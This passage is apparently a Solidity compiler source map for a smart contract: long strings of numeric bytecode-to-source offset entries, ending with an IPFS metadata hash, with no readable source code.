;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2895:55;;-1:-1:-1;;;2895:55:0;;2937:4;2895:55;;;9546:34:1;-1:-1:-1;;;;;9616:15:1;;;9596:18;;;9589:43;2829:39:0;;-1:-1:-1;2879:13:0;;2895:33;;;;;9481:18:1;;2895:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2961:4;:12;;-1:-1:-1;;;;;;2984:18:0;-1:-1:-1;;;;;2961:12:0;;;2984:18;;;;-1:-1:-1;;;2984:18:0;;;-1:-1:-1;;;2635:375:0:o;4351:1601::-;4464:4;4481:16;4500:29;2601:9;:18;-1:-1:-1;;;;;2601:18:0;;2514:113;4500:29;4548:11;;4481:48;;-1:-1:-1;;;;4548:11:0;;;;;:31;;;4571:8;-1:-1:-1;;;;;4563:16:0;:4;-1:-1:-1;;;;;4563:16:0;;4548:31;:49;;;;4589:8;-1:-1:-1;;;;;4583:14:0;:2;-1:-1:-1;;;;;4583:14:0;;4548:49;4540:58;;;;;;4611:30;4624:4;4630:2;4634:6;4611:12;:30::i;:::-;-1:-1:-1;;;;;4654:15:0;;;;;;:9;:15;;;;;:25;;4673:6;;4654:15;:25;;4673:6;;4654:25;:::i;:::-;;;;-1:-1:-1;;4702:4:0;;-1:-1:-1;;;;;4696:10:0;;;4702:4;;4696:10;:23;;;;-1:-1:-1;4711:8:0;;-1:-1:-1;;;4711:8:0;;;;4710:9;4696:23;:65;;;;-1:-1:-1;985:3:0;887:12;824:2;887;:12;:::i;:::-;871:28;;:13;:28;:::i;:::-;971:17;;;;:::i;:::-;4741:4;4723:24;;;;:9;:24;;;;;;:38;;4696:65;:85;;;;;4773:8;-1:-1:-1;;;;;4765:16:0;:4;-1:-1:-1;;;;;4765:16:0;;;4696:85;4692:649;;;4798:8;:15;;-1:-1:-1;;;;4798:15:0;-1:-1:-1;;;4798:15:0;;;4852:16;;;4866:1;4852:16;;;;;;;;-1:-1:-1;;4852:16:0;;;;;;;;;;-1:-1:-1;4852:16:0;4828:40;;4901:4;4883;4888:1;4883:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;4883:23:0;;;-1:-1:-1;;;;;4883:23:0;;;;;1508:42;-1:-1:-1;;;;;4931:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4921:4;4926:1;4921:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4921:33:0;;;:7;;;;;;;;;;;:33;1508:42;4969:88;985:3;887:12;824:2;887;:12;:::i;:::-;871:28;;:13;:28;:::i;:::-;971:17;;;;:::i;:::-;5113:1;5137:4;5172;5200:15;4969:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5249:49:0;;-1:-1:-1;;;;;5249:26:0;;;-1:-1:-1;5276:21:0;5249:49;;;;;-1:-1:-1;5276:21:0;5249:49;;;;5276:21;5249:26;:49;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5313:8:0;:16;;-1:-1:-1;;;;5313:16:0;;;4692:649;5388:9;:16;;-1:-1:-1;;;5388:16:0;;;;;-1:-1:-1;;;5406:17:0;;;-1:-1:-1;;;;;5439:21:0;;5455:4;5439:21;;;;:44;;-1:-1:-1;5464:11:0;;-1:-1:-1;;;5464:11:0;;;;:19;;5479:4;5464:19;5439:44;5435:412;;;5564:4;;5500:27;;5594:3;;-1:-1:-1;;;;;5558:10:0;;;5564:4;;5558:10;:31;;5582:7;5558:31;;;5571:8;5558:31;5531:59;;;;:6;:59;:::i;:::-;5530:67;;;;:::i;:::-;-1:-1:-1;;;;;5618:24:0;;;;;;:18;:24;;;;;;5500:97;;-1:-1:-1;5618:24:0;;;:50;;-1:-1:-1;;;;;;5646:22:0;;;;;;:18;:22;;;;;;;;5618:50;5614:114;;;-1:-1:-1;5711:1:0;5614:114;5744:29;5754:19;5744:29;;:::i;:::-;5806:4;5788:24;;;;:9;:24;;;;;:47;;5744:29;;-1:-1:-1;5816:19:0;;5788:24;;;:47;;5816:19;;5788:47;:::i;:::-;;;;-1:-1:-1;;;5435:412:0;-1:-1:-1;;;;;5857:13:0;;;;;;:9;:13;;;;;:23;;5874:6;;5857:13;:23;;5874:6;;5857:23;:::i;:::-;;;;;;;;5911:2;-1:-1:-1;;;;;5896:26:0;5905:4;-1:-1:-1;;;;;5896:26:0;;5915:6;5896:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;5896:26:0;;;;;;;;-1:-1:-1;5940:4:0;;4351:1601;-1:-1:-1;;;;;;4351:1601:0:o;4022:321::-;-1:-1:-1;;;;;4109:24:0;;;;;;:18;:24;;;;;;;;4108:25;:39;;;;-1:-1:-1;4143:4:0;;-1:-1:-1;;;;;4137:10:0;;;4143:4;;4137:10;4108:39;4104:232;;;4168:11;;-1:-1:-1;;;4168:11:0;;;;4164:161;;;4200:27;4217:9;;4200:16;:27::i;4164:161::-;4281:28;4298:10;;3803:131;3886:4;3872:11;:18;3868:59;;;3907:8;;;3868:59;3803:131;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:127::-;1458:10;1453:3;1449:20;1446:1;1439:31;1489:4;1486:1;1479:15;1513:4;1510:1;1503:15;1529:719;1572:5;1625:3;1618:4;1610:6;1606:17;1602:27;1592:55;;1643:1;1640;1633:12;1592:55;1679:6;1666:20;1705:18;1742:2;1738;1735:10;1732:36;;;1748:18;;:::i;:::-;1823:2;1817:9;1791:2;1877:13;;-1:-1:-1;;1873:22:1;;;1897:2;1869:31;1865:40;1853:53;;;1921:18;;;1941:22;;;1918:46;1915:72;;;1967:18;;:::i;:::-;2007:10;2003:2;1996:22;2042:2;2034:6;2027:18;2088:3;2081:4;2076:2;2068:6;2064:15;2060:26;2057:35;2054:55;;;2105:1;2102;2095:12;2054:55;2169:2;2162:4;2154:6;2150:17;2143:4;2135:6;2131:17;2118:54;2216:1;2209:4;2204:2;2196:6;2192:15;2188:26;2181:37;2236:6;2227:15;;;;;;1529:719;;;;:::o;2253:543::-;2341:6;2349;2402:2;2390:9;2381:7;2377:23;2373:32;2370:52;;;2418:1;2415;2408:12;2370:52;2458:9;2445:23;2487:18;2528:2;2520:6;2517:14;2514:34;;;2544:1;2541;2534:12;2514:34;2567:50;2609:7;2600:6;2589:9;2585:22;2567:50;:::i;:::-;2557:60;;2670:2;2659:9;2655:18;2642:32;2626:48;;2699:2;2689:8;2686:16;2683:36;;;2715:1;2712;2705:12;2683:36;;2738:52;2782:7;2771:8;2760:9;2756:24;2738:52;:::i;:::-;2728:62;;;2253:543;;;;;:::o;2801:456::-;2878:6;2886;2894;2947:2;2935:9;2926:7;2922:23;2918:32;2915:52;;;2963:1;2960;2953:12;2915:52;3002:9;2989:23;3021:31;3046:5;3021:31;:::i;:::-;3071:5;-1:-1:-1;3128:2:1;3113:18;;3100:32;3141:33;3100:32;3141:33;:::i;:::-;2801:456;;3193:7;;-1:-1:-1;;;3247:2:1;3232:18;;;;3219:32;;2801:456::o;3815:247::-;3874:6;3927:2;3915:9;3906:7;3902:23;3898:32;3895:52;;;3943:1;3940;3933:12;3895:52;3982:9;3969:23;4001:31;4026:5;4001:31;:::i;4275:388::-;4343:6;4351;4404:2;4392:9;4383:7;4379:23;4375:32;4372:52;;;4420:1;4417;4410:12;4372:52;4459:9;4446:23;4478:31;4503:5;4478:31;:::i;:::-;4528:5;-1:-1:-1;4585:2:1;4570:18;;4557:32;4598:33;4557:32;4598:33;:::i;:::-;4650:7;4640:17;;;4275:388;;;;;:::o;4668:380::-;4747:1;4743:12;;;;4790;;;4811:61;;4865:4;4857:6;4853:17;4843:27;;4811:61;4918:2;4910:6;4907:14;4887:18;4884:38;4881:161;;4964:10;4959:3;4955:20;4952:1;4945:31;4999:4;4996:1;4989:15;5027:4;5024:1;5017:15;4881:161;;4668:380;;;:::o;5053:127::-;5114:10;5109:3;5105:20;5102:1;5095:31;5145:4;5142:1;5135:15;5169:4;5166:1;5159:15;5185:422;5274:1;5317:5;5274:1;5331:270;5352:7;5342:8;5339:21;5331:270;;;5411:4;5407:1;5403:6;5399:17;5393:4;5390:27;5387:53;;;5420:18;;:::i;:::-;5470:7;5460:8;5456:22;5453:55;;;5490:16;;;;5453:55;5569:22;;;;5529:15;;;;5331:270;;;5335:3;5185:422;;;;;:::o;5612:806::-;5661:5;5691:8;5681:80;;-1:-1:-1;5732:1:1;5746:5;;5681:80;5780:4;5770:76;;-1:-1:-1;5817:1:1;5831:5;;5770:76;5862:4;5880:1;5875:59;;;;5948:1;5943:130;;;;5855:218;;5875:59;5905:1;5896:10;;5919:5;;;5943:130;5980:3;5970:8;5967:17;5964:43;;;5987:18;;:::i;:::-;-1:-1:-1;;6043:1:1;6029:16;;6058:5;;5855:218;;6157:2;6147:8;6144:16;6138:3;6132:4;6129:13;6125:36;6119:2;6109:8;6106:16;6101:2;6095:4;6092:12;6088:35;6085:77;6082:159;;;-1:-1:-1;6194:19:1;;;6226:5;;6082:159;6273:34;6298:8;6292:4;6273:34;:::i;:::-;6343:6;6339:1;6335:6;6331:19;6322:7;6319:32;6316:58;;;6354:18;;:::i;:::-;6392:20;;5612:806;-1:-1:-1;;;5612:806:1:o;6423:140::-;6481:5;6510:47;6551:4;6541:8;6537:19;6531:4;6510:47;:::i;6568:168::-;6641:9;;;6672;;6689:15;;;6683:22;;6669:37;6659:71;;6710:18;;:::i;6867:545::-;6969:2;6964:3;6961:11;6958:448;;;7005:1;7030:5;7026:2;7019:17;7075:4;7071:2;7061:19;7145:2;7133:10;7129:19;7126:1;7122:27;7116:4;7112:38;7181:4;7169:10;7166:20;7163:47;;;-1:-1:-1;7204:4:1;7163:47;7259:2;7254:3;7250:12;7247:1;7243:20;7237:4;7233:31;7223:41;;7314:82;7332:2;7325:5;7322:13;7314:82;;;7377:17;;;7358:1;7347:13;7314:82;;;7318:3;;;6867:545;;;:::o;7588:1352::-;7714:3;7708:10;7741:18;7733:6;7730:30;7727:56;;;7763:18;;:::i;:::-;7792:97;7882:6;7842:38;7874:4;7868:11;7842:38;:::i;:::-;7836:4;7792:97;:::i;:::-;7944:4;;8008:2;7997:14;;8025:1;8020:663;;;;8727:1;8744:6;8741:89;;;-1:-1:-1;8796:19:1;;;8790:26;8741:89;-1:-1:-1;;7545:1:1;7541:11;;;7537:24;7533:29;7523:40;7569:1;7565:11;;;7520:57;8843:81;;7990:944;;8020:663;6814:1;6807:14;;;6851:4;6838:18;;-1:-1:-1;;8056:20:1;;;8174:236;8188:7;8185:1;8182:14;8174:236;;;8277:19;;;8271:26;8256:42;;8369:27;;;;8337:1;8325:14;;;;8204:19;;8174:236;;;8178:3;8438:6;8429:7;8426:19;8423:201;;;8499:19;;;8493:26;-1:-1:-1;;8582:1:1;8578:14;;;8594:3;8574:24;8570:37;8566:42;8551:58;8536:74;;8423:201;-1:-1:-1;;;;;8670:1:1;8654:14;;;8650:22;8637:36;;-1:-1:-1;7588:1352:1:o;8945:128::-;9012:9;;;9033:11;;;9030:37;;;9047:18;;:::i;9078:251::-;9148:6;9201:2;9189:9;9180:7;9176:23;9172:32;9169:52;;;9217:1;9214;9207:12;9169:52;9249:9;9243:16;9268:31;9293:5;9268:31;:::i;9643:217::-;9683:1;9709;9699:132;;9753:10;9748:3;9744:20;9741:1;9734:31;9788:4;9785:1;9778:15;9816:4;9813:1;9806:15;9699:132;-1:-1:-1;9845:9:1;;9643:217::o;9865:127::-;9926:10;9921:3;9917:20;9914:1;9907:31;9957:4;9954:1;9947:15;9981:4;9978:1;9971:15;9997:980;10259:4;10307:3;10296:9;10292:19;10338:6;10327:9;10320:25;10364:2;10402:6;10397:2;10386:9;10382:18;10375:34;10445:3;10440:2;10429:9;10425:18;10418:31;10469:6;10504;10498:13;10535:6;10527;10520:22;10573:3;10562:9;10558:19;10551:26;;10612:2;10604:6;10600:15;10586:29;;10633:1;10643:195;10657:6;10654:1;10651:13;10643:195;;;10722:13;;-1:-1:-1;;;;;10718:39:1;10706:52;;10813:15;;;;10778:12;;;;10754:1;10672:9;10643:195;;;-1:-1:-1;;;;;;;10894:32:1;;;;10889:2;10874:18;;10867:60;-1:-1:-1;;;10958:3:1;10943:19;10936:35;10855:3;9997:980;-1:-1:-1;;;9997:980:1:o;10982:125::-;11047:9;;;11068:10;;;11065:36;;;11081:18;;:::i

ipfs://4bc7140953ac3bb65f12796c831fe40fa45494b49107420da54d3a1813be3284